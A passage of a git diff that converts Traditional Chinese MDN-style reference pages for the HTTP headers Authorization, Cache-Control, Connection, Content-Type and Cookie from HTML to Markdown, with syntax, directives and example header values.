  • 然後在以 base64 - 編碼 (YWxhZGRpbjpvcGVuc2VzYW1l)。
  • -
- -
-

Note: Base64 編碼不是加密也不是雜湊(Hash)!就算用明文直接傳, - 安全性也跟用 base64 編碼過一樣(base64 是可以解碼的)。最好用 HTTPS 搭配這種驗證方式。

-
-
-
- -

範例

- -
Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
-
- -

可以看看 HTTP authentication 中的範例 - 教你如何在 Apache 或 nginx 上啟用 HTTP basic authentication 來保護你的網站。

- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -{{Compat}} - -

See also

- -
    -
  • HTTP authentication
  • -
  • {{HTTPHeader("WWW-Authenticate")}}
  • -
  • {{HTTPHeader("Proxy-Authorization")}}
  • -
  • {{HTTPHeader("Proxy-Authenticate")}}
  • -
  • {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}
  • -
diff --git a/files/zh-tw/web/http/headers/authorization/index.md b/files/zh-tw/web/http/headers/authorization/index.md new file mode 100644 index 00000000000000..ae2625e0fe4edf --- /dev/null +++ b/files/zh-tw/web/http/headers/authorization/index.md @@ -0,0 +1,65 @@ +--- +title: Authorization +slug: Web/HTTP/Headers/Authorization +tags: + - HTTP + - HTTP Header + - Reference + - Request header + - header +--- +{{HTTPSidebar}} + +HTTP 請求中的 **`Authorization`** 是 user agent 用來向伺服器做身份認證(authentication)的憑證(credentials), +通常是在伺服器回應 {{HTTPStatus("401")}} +`Unauthorized` 狀態及 {{HTTPHeader("WWW-Authenticate")}} 標頭後才會在後續請求使用這個標頭。 + +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | + +## 語法 + +```html +Authorization: +``` + +## 指令 + +- \ + - : [認證方式](/en-US/docs/Web/HTTP/Authentication#authentication_schemes),通常是 ["Basic"](/en-US/docs/Web/HTTP/Authentication#basic_authentication_scheme)。其他方式可以參考: + + - [IANA registry of Authentication schemes](http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml) + - [Authentification](http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html) for AWS servers (`AWS4-HMAC-SHA256`) +- \ + - : 如果使用「Basic」方式,則憑證的格式會長的像這樣: + + - 帳號、密碼會用冒號(:)串起來(`aladdin:opensesame`)。 + - 然後在以 [base64](/en-US/docs/Glossary/Base64) 編碼 (`YWxhZGRpbjpvcGVuc2VzYW1l`)。 + + > **備註:** Base64 編碼不是加密也不是雜湊(Hash)!就算用明文直接傳,安全性也跟用 base64 編碼過一樣(base64 是可以解碼的)。最好用 HTTPS 搭配這種驗證方式。 + +## 範例 + +```plain +Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l +``` + +可以看看 [HTTP authentication](/zh-TW/docs/Web/HTTP/Authentication) 中的範例 +教你如何在 Apache 或 nginx 上啟用 HTTP basic authentication 來保護你的網站。 + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat}} + +## See also + +- [HTTP authentication](/zh-TW/docs/Web/HTTP/Authentication) +- {{HTTPHeader("WWW-Authenticate")}} +- {{HTTPHeader("Proxy-Authorization")}} +- {{HTTPHeader("Proxy-Authenticate")}} +- {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}} diff --git a/files/zh-tw/web/http/headers/cache-control/index.html b/files/zh-tw/web/http/headers/cache-control/index.html deleted file mode 100644 index 8b3db4ac33b03b..00000000000000 --- a/files/zh-tw/web/http/headers/cache-control/index.html +++ /dev/null @@ -1,194 +0,0 @@ ---- -title: Cache-Control -slug: Web/HTTP/Headers/Cache-Control -tags: - - Cache-Control - - General Header - - HTTP - - HTTP Header - - Reference ---- -
{{HTTPSidebar}}
- -

Cache-Control 標頭中的指令用來控制 HTTP 請求、回應的快取行為。HTTP 請求跟回應可以擁有不同的快取控制指令。

- - - - - - - - - - - - - - - - -
Header type{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}no
{{Glossary("CORS-safelisted response header")}}yes
- -

語法

- -

快取指令必須遵守這些規則:

- -
    -
  • 大小寫沒差(但儘量用小寫)
  • -
  • 指令之間用逗號(,)分開
  • -
  • Some directives have an optional argument, which can be either a token or a quoted-string. (See spec for definitions)
  • -
- -

請求用指令

- -

可以在 HTTP 請求中使用的標準 Cache-Control 指令

- -
Cache-Control: max-age=<秒數>
-Cache-Control: max-stale[=<秒數>]
-Cache-Control: min-fresh=<秒數>
-Cache-Control: no-cache
-Cache-Control: no-store
-Cache-Control: no-transform
-Cache-Control: only-if-cached
-
- -

回應用指令

- -

可以在 HTTP 回應中使用的標準 Cache-Control 指令

- -
Cache-Control: must-revalidate
-Cache-Control: no-cache
-Cache-Control: no-store
-Cache-Control: no-transform
-Cache-Control: public
-Cache-Control: private
-Cache-Control: proxy-revalidate
-Cache-Control: max-age=<秒數>
-Cache-Control: s-maxage=<秒數>
-
- -

擴充 Cache-Control 指令

- -

這些擴充的 Cache-Control 指令不是 HTTP 快取的核心標準。使用前請檢查相容性,客戶端會直接忽略不支援的指令。

- -
Cache-Control: immutable
-Cache-Control: stale-while-revalidate=<秒數>
-Cache-Control: stale-if-error=<秒數>
-
- -

指令

- -

可快取性

- -

這些指令定義 HTTP 請求/回應是否可以做快取、儲存在哪,以及使用前是否要跟後端伺服器做驗證

- -
-
public
-
此回應可以被任何快取軟體儲存起來,即使它本身通常是不可快取的。
-
private
-
此回應只可以被瀏覽器儲存起來,即使它本身通常是不可快取的。如果你真的不要任何快取軟體儲存你的回應,可以使用 no-store這個指令不是用來防止快取軟體儲存回應的。
-
no-cache
-
此回應可以被任何快取軟體儲存起來,即使它本身通常是不可快取的。不過,在使用儲存起來的 HTTP 回應之前,必須必須向後端伺服器做驗證,因此你不能拿 no-cacheimmutable 一起使用。如果你真的不要任何快取軟體儲存你的回應,可以使用 no-store這個指令不是用來防止快取軟體儲存回應的。
-
no-store
-
此回應不能任何快取軟體儲存起來。當然它無法防止 先前儲存起來 的回應被回傳。客戶端可以用 max-age=0 來清除快取,並強制向後端伺服器做驗證。(其他指令跟 no-store 一起使用都無效)
-
- -

過期

- -
-
max-age=<秒數>
-
快取有效的最大時間。跟 Expires 不一樣,這個指令是相對於請求當下的時間。
-
s-maxage=<秒數>
-
覆寫 max-age 或者 Expires 標頭,不過只對共用快取軟體生效(比如 nginx)。私有快取會無視這個指令。
-
max-stale[=<秒數>]
-
表示客戶端可以接受過期回應。可以宣告客戶端最多能接受過期多久。
-
min-fresh=<秒數>
-
表示客戶端想要有效時間至少在指定秒數以上的回應。
-
stale-while-revalidate=<秒數> {{Experimental_Inline}}
-
表示客戶端可以接受過期回應,但同時在背景檢查最新版本。秒數用來控制客戶端最多能接受過期多久。何時過期取決於 max-age 的值。想了解更多細節請到 "Keeping things fresh with stale-while-revalidate" 。
-
stale-if-error=<秒數> {{Experimental_Inline}}
-
表示客戶端會執行驗證,若驗證錯誤了就直接使用過期回應。秒數用來控制客戶端最多能接受過期多久。
-
- -

驗證與重新讀取

- -
-
must-revalidate
-
表示一旦過期,必須向後端伺服器做驗證
-
proxy-revalidate
-
must-revalidate 類似,不過只對共用快取軟體生效(比如 nginx)。私有快取會無視這個指令。
-
immutable
-
表示回應內容不會改變 。這個資源不會過期,因此即使使用者手動重新整理頁面,客戶端也不會用驗證標頭 (比如 If-None-MatchIf-Modified-Since)。 Clients that aren't aware of this extension must ignore them as per the HTTP specification. 在 Firefox 中, immutable 只有在使用 https:// 時會生效。想知道更多資訊,可以閱讀這篇文章
-
- -

其他

- -
-
no-transform
-
位於中間的快取軟體或代理軟體不能修改回應內容、{{HTTPHeader("Content-Encoding")}}、{{HTTPHeader("Content-Range")}}、{{HTTPHeader("Content-Type")}}。因此它可能造成某些代理軟體或瀏覽器的功能失效,比如說 Google’s Web Light可以替很慢的網路事先壓縮圖片。
-
only-if-cached
-
客戶端設定,表示不想經由網路得到回應。所以快取軟體可能會回傳先前儲存的回應,或者是 {{HTTPStatus("504")}} 狀態碼。使用驗證標頭如 If-None-Match 是沒有意義的。由伺服器在 HTTP 回應中設定 only-if-cached 指令也沒有意義。
-
- -

範例

- -

防止被快取

- -

想要禁止快取一個資源,你可以在回應中設定這個標頭:

- -
-
Good:
-
-
Cache-Control: no-store
- -
-

這個 no-store 指令使得回應再也不會被儲存,但它無法防止使用先前儲存、而且仍有效的快取。多設定 max-age=0 可以強制執行驗證(也就會清除既有快取)。

- -
Cache-Control: no-store, max-age=0
-
-
-
-
Bad:
-
-
Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0
-
-
- -

快取靜態檔案

- -

對於那些不會更新的檔案,你可以在回應中使用下列這個激進的標頭。比如說用在圖片、CSS 檔案,以及 JavaScript 檔案。附帶一提,也可以看看 Expires 標頭。

- -
Cache-Control: public, max-age=604800, immutable
-
- -

必須執行驗證

- -

no-cachemax-age=0, must-revalidate 是同樣的意思。
- 表示客戶端可以儲存資源,但使用它前必須做驗證。這表示每次都會發生 HTTP 請求,不過只要沒過期就不用下載完整內容

- -
Cache-Control: no-cache
- -
Cache-Control: max-age=0, must-revalidate
- -

附帶一提: 這個設定可以在伺服器掛掉的時候使用過期資源

- -
Cache-Control: max-age=0
- -

Specifications

- -{{Specifications}} - -

Browser compatibility

- -

{{Compat("http.headers.Cache-Control")}}

- -

See also

- - diff --git a/files/zh-tw/web/http/headers/cache-control/index.md b/files/zh-tw/web/http/headers/cache-control/index.md new file mode 100644 index 00000000000000..9ad46f23454f18 --- /dev/null +++ b/files/zh-tw/web/http/headers/cache-control/index.md @@ -0,0 +1,163 @@ +--- +title: Cache-Control +slug: Web/HTTP/Headers/Cache-Control +tags: + - Cache-Control + - General Header + - HTTP + - HTTP Header + - Reference +--- +{{HTTPSidebar}} + +**`Cache-Control`** 標頭中的*指令*用來控制 HTTP 請求、回應的[快取](/zh-TW/docs/Web/HTTP/Caching)行為。HTTP 請求跟回應可以擁有不同的快取控制指令。 + +| Header type | {{Glossary("General header")}} | +| ---------------------------------------------------------------- | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | +| {{Glossary("CORS-safelisted response header")}} | yes | + +## 語法 + +快取指令必須遵守這些規則: + +- 大小寫沒差(但儘量用小寫) +- 指令之間用逗號(,)分開 +- Some directives have an optional argument, which can be either a _token_ or a _quoted-string_. (See spec for definitions) + +### 請求用指令 + +可以在 HTTP 請求中使用的標準 `Cache-Control` 指令 + +```html +Cache-Control: max-age=<秒數> +Cache-Control: max-stale[=<秒數>] +Cache-Control: min-fresh=<秒數> +Cache-Control: no-cache +Cache-Control: no-store +Cache-Control: no-transform +Cache-Control: only-if-cached +``` + +### 回應用指令 + +可以在 HTTP 回應中使用的標準 `Cache-Control` 指令 + +```html +Cache-Control: must-revalidate +Cache-Control: no-cache +Cache-Control: no-store +Cache-Control: no-transform +Cache-Control: public +Cache-Control: private +Cache-Control: proxy-revalidate +Cache-Control: max-age=<秒數> +Cache-Control: s-maxage=<秒數> +``` + +### 擴充 Cache-Control 指令 + +這些擴充的 `Cache-Control` 指令不是 HTTP 快取的核心標準。使用前請檢查[相容性](#browser_compatibility),客戶端會直接忽略不支援的指令。 + +```html +Cache-Control: immutable +Cache-Control: stale-while-revalidate=<秒數> +Cache-Control: stale-if-error=<秒數> +``` + +## 指令 + +### 可快取性 + +這些指令定義 HTTP 請求/回應是否可以做快取、儲存在哪,以及使用前是否要跟後端伺服器做驗證 + +- `public` + - : 此回應可以被*任何快取軟體*儲存起來,即使它本身通常是不可快取的。 +- `private` + - : 此回應只可以被*瀏覽器*儲存起來,即使它本身通常是不可快取的。**如果你真的不要任何快取軟體儲存你的回應,可以使用 `no-store` 。**_這個指令不是用來防止快取軟體儲存回應的。_ +- `no-cache` + - : 此回應可以被*任何快取軟體*儲存起來,即使它本身通常是不可快取的。不過,在使用儲存起來的 HTTP 回應之前,*必須*必須向後端伺服器做驗證,因此你不能拿 `no-cache` 跟 `immutable` 一起使用。**如果你真的不要任何快取軟體儲存你的回應,可以使用 `no-store` 。**_這個指令不是用來防止快取軟體儲存回應的。_ +- `no-store` + - : 此回應**不能**被*任何快取軟體*儲存起來。當然它無法防止 _先前儲存起來_ 的回應被回傳。客戶端可以用 `max-age=0` 來清除快取,並強制向後端伺服器做驗證。(其他指令跟 `no-store` 一起使用都無效) + +### 過期 + +- `max-age=<秒數>` + - : 快取有效的最大時間。跟 `Expires` 不一樣,這個指令是相對於請求當下的時間。 +- `s-maxage=<秒數>` + - : 覆寫 `max-age` 或者 `Expires` 標頭,不過只對共用快取軟體生效(比如 nginx)。私有快取會無視這個指令。 +- `max-stale[=<秒數>]` + - : 表示客戶端可以接受過期回應。可以宣告客戶端最多能接受過期多久。 +- `min-fresh=<秒數>` + - : 表示客戶端想要有效時間*至少*在指定秒數以上的回應。 +- `stale-while-revalidate=<秒數>` {{Experimental_Inline}} + - : 表示客戶端可以接受過期回應,但同時在背景檢查最新版本。*秒數*用來控制客戶端最多能接受過期多久。何時過期取決於 `max-age` 的值。想了解更多細節請到 "[Keeping things fresh with `stale-while-revalidate`](https://web.dev/stale-while-revalidate)" 。 +- `stale-if-error=<秒數>` {{Experimental_Inline}} + - : 表示客戶端會執行驗證,若驗證錯誤了就直接使用過期回應。*秒數*用來控制客戶端最多能接受過期多久。 + +### 驗證與重新讀取 + +- `must-revalidate` + - : 表示一旦過期,必須向後端伺服器做[驗證](/zh-TW/docs/Web/HTTP/Caching#cache_validation)。 +- `proxy-revalidate` + - : 跟 `must-revalidate` 類似,不過只對共用快取軟體生效(比如 nginx)。私有快取會無視這個指令。 +- `immutable` + - : 表示回應內容**不會改變** 。這個資源*不會過期*,因此即使使用者手動重新整理頁面,客戶端也不會用驗證標頭 (比如 `If-None-Match` 或 `If-Modified-Since`)。 Clients that aren't aware of this extension must ignore them as per the HTTP specification. 在 Firefox 中, `immutable` 只有在使用 `https://` 時會生效。想知道更多資訊,可以閱讀[這篇文章](https://bitsup.blogspot.de/2016/05/cache-control-immutable.html)。 + +### 其他 + +- `no-transform` + - : 位於中間的快取軟體或代理軟體不能修改回應內容、{{HTTPHeader("Content-Encoding")}}、{{HTTPHeader("Content-Range")}}、{{HTTPHeader("Content-Type")}}。因此它可能造成某些代理軟體或瀏覽器的功能失效,比如說 [Google’s Web Light](https://support.google.com/webmasters/answer/6211428)可以替很慢的網路事先壓縮圖片。 +- `only-if-cached` + - : 由*客戶端*設定,表示不想經由網路得到回應。所以快取軟體可能會回傳先前儲存的回應,或者是 {{HTTPStatus("504")}} 狀態碼。使用驗證標頭如 `If-None-Match` 是沒有意義的。由伺服器在 HTTP 回應中設定 `only-if-cached` 指令也沒有意義。 + +## 範例 + +### 防止被快取 + +想要禁止快取一個資源,你可以在回應中設定這個標頭: + +
Good:
Cache-Control: no-store

這個 no-store 指令使得回應再也不會被儲存,但它無法防止使用先前儲存、而且仍有效的快取。多設定 max-age=0 可以強制執行驗證(也就會清除既有快取)。

Cache-Control: no-store, max-age=0
+
Bad:
Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0
+ +### 快取靜態檔案 + +對於那些不會更新的檔案,你可以在回應中使用下列這個激進的標頭。比如說用在圖片、CSS 檔案,以及 JavaScript 檔案。附帶一提,也可以看看 `Expires` 標頭。 + +```plain +Cache-Control: public, max-age=604800, immutable +``` + +### 必須執行驗證 + +`no-cache`、`max-age=0, must-revalidate` 是同樣的意思。 +表示客戶端可以儲存資源,但使用它前必須做驗證。這表示每次都會發生 HTTP 請求,不過只要沒過期就不用下載完整內容 + +```plain +Cache-Control: no-cache +``` + +```plain +Cache-Control: max-age=0, must-revalidate +``` + +**附帶一提**: 這個設定可以在伺服器掛掉的時候使用過期資源 + +
Cache-Control: max-age=0
+ +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat("http.headers.Cache-Control")}} + +## See also + +- [HTTP Caching FAQ](/zh-TW/docs/Web/HTTP/Caching) +- [Caching Tutorial for Web Authors and Webmasters](https://www.mnot.net/cache_docs/) +- Guide: _[`Cache-Control` for civilians](https://csswizardry.com/2019/03/cache-control-for-civilians)_ +- {{HTTPHeader("Age")}} +- {{HTTPHeader("Expires")}} +- {{HTTPHeader("Pragma")}} diff --git a/files/zh-tw/web/http/headers/connection/index.html b/files/zh-tw/web/http/headers/connection/index.html deleted file mode 100644 index 8deca4720cad85..00000000000000 --- a/files/zh-tw/web/http/headers/connection/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Connection -slug: Web/HTTP/Headers/Connection -tags: -- HTTP -- Headers -- Reference -- Web ---- -
{{HTTPSidebar}}
- -

Connection 標頭用來控制在本次事務(transaction)後,連線是否要繼續開著。如果設定為 keep-alive , -則連線繼續開著,讓接下來送往同一伺服器的請求利用。

- -
-

Connection 相關的標頭如 {{HTTPHeader("Connection")}} 和 - {{HTTPHeader("Keep-Alive")}} 在 HTTP/2 中被禁用。 - Chrome 和 Firefox 會忽略 HTTP/2 回應中的這些標頭,不過 Safari 遵守 HTTP/2 - spec 的要求,不會讀取包含這些標頭的回應內容。

-
- -

除了標準的點對點標頭(hop-by-hop headers)({{HTTPHeader("Keep-Alive")}} 、 - {{HTTPHeader("Transfer-Encoding")}} 、 {{HTTPHeader("TE")}} 、 {{HTTPHeader("Connection")}} 、 - {{HTTPHeader("Trailer")}} 、 {{HTTPHeader("Upgrade")}} 、 - {{HTTPHeader("Proxy-Authorization")}} 以及 {{HTTPHeader("Proxy-Authenticate")}}), - 任何在 HTTP 事務中使用到的點對點標頭都必須在 Connection 標頭列出來, - 這樣首先經手請求的代理軟體才知道自己要處理這些標頭。標準的點對點標頭也是一樣的處理方式。

- - - - - - - - - - - - -
Header type{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}yes
- -

語法

- -
Connection: keep-alive
-Connection: close
-
- -

指令

- -
-
close
-
表示客戶端或伺服器想要關閉連線。 - 通常用在 HTTP/1.0 。
-
一串用逗號分隔的 HTTP 標頭 [通常只設定為 keep-alive ]
-
表示客戶端想要讓連線持續開著。HTTP/1.1 請求的預設行為就是維持連線開啟。 - 至於那串用逗號分隔的 HTTP 標頭會被首先經手請求的代理軟體或快取軟體移除:因為這些標頭就是用來控制請求發起者與第一個代理軟體的連線行為,而不是請求的目標伺服器。
-
- -

瀏覽器相容性

- -

{{Compat("http.headers.Connection")}}

diff --git a/files/zh-tw/web/http/headers/connection/index.md b/files/zh-tw/web/http/headers/connection/index.md new file mode 100644 index 00000000000000..ace217909475b8 --- /dev/null +++ b/files/zh-tw/web/http/headers/connection/index.md @@ -0,0 +1,49 @@ +--- +title: Connection +slug: Web/HTTP/Headers/Connection +tags: + - HTTP + - Headers + - Reference + - Web +--- +{{HTTPSidebar}} + +**`Connection`** 標頭用來控制在本次事務(transaction)後,連線是否要繼續開著。如果設定為 `keep-alive` , +則連線繼續開著,讓接下來送往同一伺服器的請求利用。 + +> **警告:** Connection 相關的標頭如 {{HTTPHeader("Connection")}} 和 +> {{HTTPHeader("Keep-Alive")}} 在 [HTTP/2 中被禁用](https://datatracker.ietf.org/doc/html/rfc7540#section-8.1.2.2)。 +> Chrome 和 Firefox 會忽略 HTTP/2 回應中的這些標頭,不過 Safari 遵守 HTTP/2 +> spec 的要求,不會讀取包含這些標頭的回應內容。 + +除了標準的點對點標頭(hop-by-hop headers)({{HTTPHeader("Keep-Alive")}} 、 +{{HTTPHeader("Transfer-Encoding")}} 、 {{HTTPHeader("TE")}} 、 {{HTTPHeader("Connection")}} 、 +{{HTTPHeader("Trailer")}} 、 {{HTTPHeader("Upgrade")}} 、 +{{HTTPHeader("Proxy-Authorization")}} 以及 {{HTTPHeader("Proxy-Authenticate")}}), +任何在 HTTP 事務中使用到的點對點標頭都必須在 `Connection` 標頭列出來, +這樣首先經手請求的代理軟體才知道自己要處理這些標頭。標準的點對點標頭也是一樣的處理方式。 + +| Header type | {{Glossary("General header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | + +## 語法 + +```html +Connection: keep-alive +Connection: close +``` + +## 指令 + +- `close` + - : 表示客戶端或伺服器想要關閉連線。 + 通常用在 HTTP/1.0 。 +- 一串用逗號分隔的 HTTP 標頭 \[通常只設定為 `keep-alive` ] + - : 表示客戶端想要讓連線持續開著。HTTP/1.1 請求的預設行為就是維持連線開啟。 + 至於那串用逗號分隔的 HTTP 標頭會被首先經手請求的代理軟體或快取軟體移除:因為這些標頭就是用來控制請求發起者與第一個代理軟體的連線行為,而不是請求的目標伺服器。 + +## 瀏覽器相容性 + +{{Compat("http.headers.Connection")}} diff --git a/files/zh-tw/web/http/headers/content-type/index.html b/files/zh-tw/web/http/headers/content-type/index.html deleted file mode 100644 index c9f7c6042ab1c3..00000000000000 --- a/files/zh-tw/web/http/headers/content-type/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Content-Type -slug: Web/HTTP/Headers/Content-Type -tags: - - Content-Type - - Entity header - - HTTP - - Reference - - header ---- -
{{HTTPSidebar}}
- -

Content-Type 用來表示資源的 {{Glossary("MIME type","media type")}} 。

- -

在 HTTP 回應中,Content-Type 表頭是用來表示本次 HTTP 事務回傳的內容類型。瀏覽器有時會自己推測內容類型(MIME sniffing),如果要阻止這個行為,請在回應中設定 {{HTTPHeader("X-Content-Type-Options")}} 標頭為 nosniff

- -

在 HTTP 請求中(比如 {{HTTPMethod("POST")}} 或 {{HTTPMethod("PUT")}}),則是客戶端用來告訴伺服器自己傳的資料是什麼內容類型。

- - - - - - - - - - - - - - - - - - - - -
Header type{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}no
{{Glossary("CORS-safelisted response header")}}yes
{{Glossary("CORS-safelisted request header")}}yes, with the additional restriction that values can't contain a CORS-unsafe request header byte: 0x00-0x1F (except 0x09 (HT)), "():<>?@[\]{}, and 0x7F (DEL).
- It also needs to have a MIME type of its parsed value (ignoring parameters) of either application/x-www-form-urlencoded, multipart/form-data, or text/plain.
- -

語法

- -
Content-Type: text/html; charset=UTF-8
-Content-Type: multipart/form-data; boundary=something
-
- -

指令

- -
-
media-type
-
資料的 內容類型(MIME type)
-
charset
-
編碼標準。
-
boundary
-
對於多段的資料必須要使用 boundary 指令,由 1 到 70 字的字元組成(這樣做很適合寄信),而且不能以空白結束。它會用來標誌資料的每一個段落。通常第一個段落的前面會加上兩個破折號(-),而最後一個段落後面也會加上兩個破折號。
-
- -

範例

- -

在 HTML 表單設定 Content-Type

- -

你可以在 HTML {{HTMLElement("form")}} 的 enctype 屬性,設定表單送出後的 {{HTTPMethod("POST")}} 請求的 Content-Type

- -
<form action="/" method="post" enctype="multipart/form-data">
-  <input type="text" name="description" value="some text">
-  <input type="file" name="myFile">
-  <button type="submit">Submit</button>
-</form>
-
- -

HTTP 請求大概長這樣(省略了一些不重要的標頭):

- -
POST /foo HTTP/1.1
-Content-Length: 68137
-Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
-
------------------------------974767299852498929531610575
-Content-Disposition: form-data; name="description"
-
-some text
------------------------------974767299852498929531610575
-Content-Disposition: form-data; name="myFile"; filename="foo.txt"
-Content-Type: text/plain
-
-(content of the uploaded file foo.txt)
------------------------------974767299852498929531610575--
-
- -

Specifications

- -{{Specifications}} - -

Browser compatibility

- -

{{Compat("http.headers.Content-Type")}}

- -

See also

- -
    -
  • {{HTTPHeader("Accept")}}
  • -
  • {{HTTPHeader("Content-Disposition")}}
  • -
  • {{HTTPStatus("206")}} Partial Content
  • -
  • {{HTTPHeader("X-Content-Type-Options")}}
  • -
diff --git a/files/zh-tw/web/http/headers/content-type/index.md b/files/zh-tw/web/http/headers/content-type/index.md new file mode 100644 index 00000000000000..4cf2db5666d71d --- /dev/null +++ b/files/zh-tw/web/http/headers/content-type/index.md @@ -0,0 +1,87 @@ +--- +title: Content-Type +slug: Web/HTTP/Headers/Content-Type +tags: + - Content-Type + - Entity header + - HTTP + - Reference + - header +--- +{{HTTPSidebar}} + +**`Content-Type`** 用來表示資源的 {{Glossary("MIME type","media type")}} 。 + +在 HTTP 回應中,`Content-Type` 表頭是用來表示本次 HTTP 事務回傳的內容類型。瀏覽器有時會自己推測內容類型(MIME sniffing),如果要阻止這個行為,請在回應中設定 {{HTTPHeader("X-Content-Type-Options")}} 標頭為 `nosniff`。 + +在 HTTP 請求中(比如 {{HTTPMethod("POST")}} 或 {{HTTPMethod("PUT")}}),則是客戶端用來告訴伺服器自己傳的資料是什麼內容類型。 + +| Header type | {{Glossary("Entity header")}} | +| ---------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | +| {{Glossary("CORS-safelisted response header")}} | yes | +| {{Glossary("CORS-safelisted request header")}} | yes, with the additional restriction that values can't contain a _CORS-unsafe request header byte_: 0x00-0x1F (except 0x09 (HT)), `"():<>?@[\]{}`, and 0x7F (DEL). It also needs to have a MIME type of its parsed value (ignoring parameters) of either `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`. | + +## 語法 + +```html +Content-Type: text/html; charset=UTF-8 +Content-Type: multipart/form-data; boundary=something +``` + +## 指令 + +- `media-type` + - : 資料的 [內容類型(MIME type)](/zh-TW/docs/Web/HTTP/Basics_of_HTTP/MIME_types) +- charset + - : 編碼標準。 +- boundary + - : 對於多段的資料必須要使用 `boundary` 指令,由 1 到 70 字的字元組成(這樣做很適合寄信),而且不能以空白結束。它會用來標誌資料的每一個段落。通常第一個段落的前面會加上兩個破折號(-),而最後一個段落後面也會加上兩個破折號。 + +## 範例 + +### 在 HTML 表單設定 `Content-Type` + +你可以在 HTML {{HTMLElement("form")}} 的 `enctype` 屬性,設定表單送出後的 {{HTTPMethod("POST")}} 請求的 `Content-Type` 。 + +```html +
+ + + +
+``` + +HTTP 請求大概長這樣(省略了一些不重要的標頭): + +```plain +POST /foo HTTP/1.1 +Content-Length: 68137 +Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575 + +-----------------------------974767299852498929531610575 +Content-Disposition: form-data; name="description" + +some text +-----------------------------974767299852498929531610575 +Content-Disposition: form-data; name="myFile"; filename="foo.txt" +Content-Type: text/plain + +(content of the uploaded file foo.txt) +-----------------------------974767299852498929531610575-- +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat("http.headers.Content-Type")}} + +## See also + +- {{HTTPHeader("Accept")}} +- {{HTTPHeader("Content-Disposition")}} +- {{HTTPStatus("206")}} Partial Content +- {{HTTPHeader("X-Content-Type-Options")}} diff --git a/files/zh-tw/web/http/headers/cookie/index.html b/files/zh-tw/web/http/headers/cookie/index.html deleted file mode 100644 index 090bf783874921..00000000000000 --- a/files/zh-tw/web/http/headers/cookie/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Cookie -slug: Web/HTTP/Headers/Cookie -tags: - - Cookies - - HTTP - - Reference - - header - - request ---- -
{{HTTPSidebar}}
- -

Cookie 是 HTTP 請求標頭,它的值包含由伺服器設定的 HTTP cookies (透過 {{HTTPHeader("Set-Cookie")}} 標頭設定,或者透過 Javascript 的 {{domxref("Document.cookie")}} 設定)。

- -

Cookie 標頭不是必要的,比如瀏覽器可能會因為隱私設定而直接省略 Cookie 不傳。

- - - - - - - - - - - - -
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
- -

Syntax

- -
Cookie: <cookie-list>
-Cookie: name=value
-Cookie: name=value; name2=value2; name3=value3
- -
-
<cookie-list>
-
一連串名值對(name-value pair),格式為: <cookie-name>=<cookie-value>。每對之間由一個分號與一個空白分隔('; ')。
-
- -

範例

- -
Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1
- -

Specifications

- -{{Specifications}} - -

Browser compatibility

- -

{{Compat("http.headers.Cookie")}}

- -

See also

- -
    -
  • {{HTTPHeader("Set-Cookie")}}
  • -
  • {{domxref("Document.cookie")}}
  • -
diff --git a/files/zh-tw/web/http/headers/cookie/index.md b/files/zh-tw/web/http/headers/cookie/index.md new file mode 100644 index 00000000000000..5068f685bc01be --- /dev/null +++ b/files/zh-tw/web/http/headers/cookie/index.md @@ -0,0 +1,49 @@ +--- +title: Cookie +slug: Web/HTTP/Headers/Cookie +tags: + - Cookies + - HTTP + - Reference + - header + - request +--- +{{HTTPSidebar}} + +**`Cookie`** 是 HTTP 請求標頭,它的值包含由伺服器設定的 [HTTP cookies](/zh-TW/docs/Web/HTTP/Cookies) (透過 {{HTTPHeader("Set-Cookie")}} 標頭設定,或者透過 Javascript 的 {{domxref("Document.cookie")}} 設定)。 + +`Cookie` 標頭不是必要的,比如瀏覽器可能會因為隱私設定而直接省略 Cookie 不傳。 + +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | + +## Syntax + +```html +Cookie: +Cookie: name=value +Cookie: name=value; name2=value2; name3=value3 +``` + +- \ + - : 一連串名值對(name-value pair),格式為: `=`。每對之間由一個分號與一個空白分隔(`'; '`)。 + +## 範例 + +```plain +Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1 +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat("http.headers.Cookie")}} + +## See also + +- {{HTTPHeader("Set-Cookie")}} +- {{domxref("Document.cookie")}} diff --git a/files/zh-tw/web/http/headers/date/index.html b/files/zh-tw/web/http/headers/date/index.html deleted file mode 100644 index f996754b4fb427..00000000000000 --- a/files/zh-tw/web/http/headers/date/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Date -slug: Web/HTTP/Headers/Date 